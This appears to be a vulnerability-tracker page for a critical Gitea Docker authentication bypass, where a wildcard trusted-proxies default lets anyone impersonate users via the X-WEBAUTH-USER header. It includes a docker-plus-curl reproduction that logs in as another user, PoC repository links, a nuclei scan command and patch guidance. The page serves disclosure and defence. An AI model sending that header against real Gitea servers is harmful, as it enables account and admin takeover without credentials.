Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`GHSA-f75j-4cw6-rmx4
CRITICALFix: go-gitea/gitea#38151GHSA-f75j-4cw6-rmx4 is a critical-severity (CVSS 9.8) CWE-284 vulnerability in code.gitea.io/gitea. 3 public exploit references exist, so weaponization risk is real. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-f75j-4cw6-rmx4.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-f75j-4cw6-rmx4 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,386 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Gitea Docker images ship an app.ini template that hard-codes:
REVERSE_PROXY_TRUSTED_PROXIES = *
The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.
When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.
Affected
gitea/giteaDocker images (verified1.26.2)docker/root/etc/templates/app.ini:55docker/rootless/etc/templates/app.ini:52
Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.
Reproduction
docker run -d --name g -p 3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git g gitea admin user create \
--username alice --password "longpasswordhere1234" \
--email [email protected] --must-change-password=false
Now the attack::
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
| grep -oE '<title>[^<]+</title>'
Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.
Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.
Impact
Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.26.3go get code.gitea.io/gitea@v1.26.3 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
szybnev/cve-2026-20896-gitea-poc
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER auth bypass checker
rz1027/CVE-2026-20896
Public PoC and detector for CVE-2026-20896 ("Gitea Docker: One Header, A
XaocZenon/CVE-2026-20896
this is a modified POC of rz1027 for CVE-2026-20896
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.gitea.io/gitea to 1.26.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f75j-4cw6-rmx4 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
How to detect GHSA-f75j-4cw6-rmx4
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-f75j-4cw6-rmx4 -u https://target- Template
- Gitea Docker Image <= 1.26.2 - Reverse Proxy Header Authentication Bypass
- Severity
- critical
- Impact
- Unauthenticated attackers can impersonate any Gitea user, including administrators, gaining read access to all private repositories, the ability to inject SSH keys, extract CI/CD secrets, modify webhooks, and fully compromise the platform.
- Remediation
- Upgrade the Gitea Docker image to version 1.26.3 or 1.26.4 or later, which restricts REVERSE_PROXY_TRUSTED_PROXIES to the intended internal proxy addresses.
Template by ProjectDiscovery nuclei-templates (prithvee07, aryu-ru, rz1027), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-f75j-4cw6-rmx4 in your dependencies?
Find it across Go, including transitive dependencies.